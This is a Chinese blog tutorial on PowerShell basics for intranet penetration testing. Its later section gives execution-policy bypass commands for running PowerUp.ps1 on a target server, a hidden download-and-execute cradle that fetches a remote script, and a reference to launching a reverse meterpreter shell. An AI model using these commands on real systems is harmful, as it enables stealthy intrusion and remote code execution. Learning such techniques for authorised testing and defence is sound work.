内网渗透测试基础——Windows PowerShell篇

内网渗透测试基础——Windows PowerShell篇

1. Windows PowerShell基础

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。

PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。

  • 在Windows 7 以上版本的操作系统中是默认安装的。
  • 脚本可以在内存中运行,不需要写入磁盘。
  • 几乎不会触发杀毒软件。
  • 可以远程执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 使Windows脚本的执行变得更容易。
  • cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
  • 可用于管理活动目录。

Windows操作系统所对应的PowerShell版本,如图所示。

操作系统PowerShell版本是否可升级
Windows 7/Windows Server 20082.0可以升级为3.0、4.0
Windows 8/Windows Server 20123.0可以升级为4.0
Windows 8.1/Windows Server 2012 R24.0

可以输入**“Get-Host"或者”$PSVersionTable.PSVERSION"**命令查看PowerShell的版本,如图所示。

powershell1

2. PowerShell的基本概念

1. .ps1文件

一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。

2. 执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。

如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy。
  • Restricted: 脚本不能运行(默认设置)。
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)。
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行。
  • Unrestriced:允许所有脚本运行。

可以使用下面的cmdlet命令设置PowerShell的执行策略。


Set-ExecutionPolicy

3. 运行脚本

要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。

一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。

4. 管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。


PS> get-process p* | stop-process


3. PowerShell的常用命令

1. 基础知识

在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType DIrectory。
  • 新建文件:New-Item light.txt–ItemTypeFile。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt。
  • 设置文本内容:Set-Content test.txt-Value “hello,world!"。
  • 追加内容:Add-Contentl light.txt-Value “i love you"。
  • 清除内容:Clear-Content test.txt。
2. 常用命令

在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。

powershell2

要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。

(1)绕过本地权限并执行

将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。

powershell3


PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1


将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。


powershell.exe -exec bypass -Command “& {Import-Module C:\PowerUp.ps1;Invoke-AllChecks}”


(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行


PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]


使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。

3. 运行32位和64位PowerShell

一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。

  • 运行32位PowerShell脚本,命令如下。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass


  • 运行64位PowerShell脚本, 命令如下。

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass


推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

hell.exe -NoP -NonI -W Hidden -Exec Bypass


推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/227423.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

怎么使用会声会影?2024年最新使用会声会影的具体步骤

一听说视频剪辑我们就不由得联想到电影、电视等一些高端的视频剪辑技术,大家都觉得视频剪辑是一个非常复杂而且需要很昂贵的设备才可以完成的技术活,这对很多“门外汉”来说都可望而不可及。实际上,使用会声会影剪辑视频不仅是很多人都可以操…

Docker单机部署OceanBase

文章目录 说明机器软硬件要求指导文档本次部署环境说明 OceanBase单机部署(Docker)一:拉取 OceanBase 数据库相关镜像二:启动 OceanBase 数据库实例完整启动日志展示 三:连接实例遇到报错:没有mysql客户端 …

php查询数据库,并通过表格展示

第一步:创建数据库 创建一个数据库php-crud 第二步:创建数据库表 在数据库php-crud下创建一个歌曲表song /*Navicat Premium Data TransferSource Server : MariaDBSource Server Type : MariaDBSource Server Version : 100605 (10.6.5-M…

Windows7下双网卡绑定(双网络冗余)

1.首先需要电脑主机里至少有两张网卡。 2.打开计算机管理,点击左侧的设备管理器: 3.点击展开右侧的 网络适配器: 4.如下是我们即将需要进行绑定的两张网卡: 5.右键点击第一张网卡,选择属性: 6.选择 分组 栏…

前端框架的虚拟DOM(Virtual DOM)

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 欢迎来到前端入门之旅!感兴趣的可以订阅本专栏哦!这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

C++试卷(华南理工大学)

华南理工大学期末考试 《高级语言程序设计(I)》A卷 注意事项: 1. 考前请将密封线内各项信息填写清楚; 2. 所有答案写在答题纸上,答在其它地方无效; 3.考试形式:闭卷&#xff1b…

分数约分-第11届蓝桥杯选拔赛Python真题精选

[导读]:超平老师的Scratch蓝桥杯真题解读系列在推出之后,受到了广大老师和家长的好评,非常感谢各位的认可和厚爱。作为回馈,超平老师计划推出《Python蓝桥杯真题解析100讲》,这是解读系列的第20讲。 分数约分&#xf…

Google Gemini Pro:AI模型的新里程碑,开放API访问;Octo: 一个开源通用的机器人策略

🦉 AI新闻 🚀 Google Gemini Pro:AI模型的新里程碑,开放API访问 摘要:Google宣布推出了名为Gemini的AI模型,旨在使AI更加有用。Gemini分为Ultra、Pro和Nano三个版本,并已开始在产品中使用。Ge…

TCP/IP详解——HTTPS 协议

文章目录 1. HTTPS 协议1.1 HTTPS 原理1.2 HTTPS 过程1.3 从数据包角度看 HTTPS 交互过程1.4 常见的 HTTPS 数据包解码1.4.1 ClientHello 数据包1.4.2 ServerHello 数据包 1.5 思考 1. HTTPS 协议 1.1 HTTPS 原理 HTTPS概念 HTTPS 是以安全为目标的HTTP通道,并不…

Node.js 工作线程与子进程:应该使用哪一个

Node.js 工作线程与子进程:应该使用哪一个 并行处理在计算密集型应用程序中起着至关重要的作用。例如,考虑一个确定给定数字是否为素数的应用程序。如果我们熟悉素数,我们就会知道必须从 1 遍历到该数的平方根才能确定它是否是素数&#xff…

RabbitMq基本使用

目录 SpringAMQP1.准备Demo工程2.快速入门1.1.消息发送1.2.消息接收1.3.测试 3.WorkQueues模型3.1.消息发送3.2.消息接收3.3.测试3.4.能者多劳3.5.总结 SpringAMQP 将来我们开发业务功能的时候,肯定不会在控制台收发消息,而是应该基于编程的方式。由于R…

Ubuntu安装蓝牙模块pybluez以及问题解决方案【完美解决】

文章目录 简介问题及解决办法总结 简介 近期因工程需要在Ubuntu中使用蓝牙远程一些设备。安装Bluetooth的Python第三方软件包pybluez时遇到很多问题,一番折腾后完美解决。此篇博客进行了梳理和总结,供大家参考。 问题及解决办法 pip install pybluez安…

【算法Hot100系列】最长回文子串

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

NNDL 循环神经网络-梯度爆炸实验 [HBU]

目录 6.2.1 梯度打印函数 6.2.2 复现梯度爆炸现象 6.2.3 使用梯度截断解决梯度爆炸问题 【思考题】梯度截断解决梯度爆炸问题的原理是什么? 总结 前言: 造成简单循环网络较难建模长程依赖问题的原因有两个:梯度爆炸和梯度消失。 循环…

【MySQL】(DDL) 表操作-查询

查询: show tables ; //查询所有表名称 desc 表名称 ; //查询表结构 show create table 表名称; //查看创建表语句 create table 表名 ( 字段名1 字段类型1,字段名2 字段类型2) ; //创建表结构 示列: 1. show tables; use 数据库名; show tables …

Llama 架构分析

从代码角度进行Llama 架构分析 Llama 架构分析前言Llama 架构分析分词网络主干DecoderLayerAttentionMLP 下游任务因果推理文本分类 Llama 架构分析 前言 Meta 开发并公开发布了 Llama系列大型语言模型 (LLM),这是一组经过预训练和微调的生成文本模型,参…

二蛋赠书八期:《Java物联网、人工智能和区块链编程实战》

前言 大家好!我是二蛋,一个热爱技术、乐于分享的工程师。在过去的几年里,我一直通过各种渠道与大家分享技术知识和经验。我深知,每一位技术人员都对自己的技能提升和职业发展有着热切的期待。因此,我非常感激大家一直…

【改进YOLOv8】电动车电梯入户检测系统:融合HGNetv2改进改进YOLOv8

1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 研究背景与意义: 随着电动车的普及和人们对环境保护的重视,电动车的使用量逐渐增加。然而,电动车的充电问题一直是一个挑战,特别是…

贝蒂详解<string.h>哦~(用法与实现)

目录 引言: (一)字符函数和字符串函数 1.简介 2.strlen()函数 2.1用法 2.2实例 2.3 实现strlen() (1)计数法 (2)递归法 (3) 指针-指针 2.4sizeof和strlen()的区别 3.s…

PhpStorm下载、安装、配置教程

前面的文章中,都是把.php文件放在WampServer的www目录下,通过浏览器访问运行。这篇文章就简单介绍一下PhpStorm这个php集成开发工具的使用。 目录 下载PhpStorm 安装PhpStorm 配置PhpStorm 修改个性化设置 修改字符编码 配置php的安装路径 使用Ph…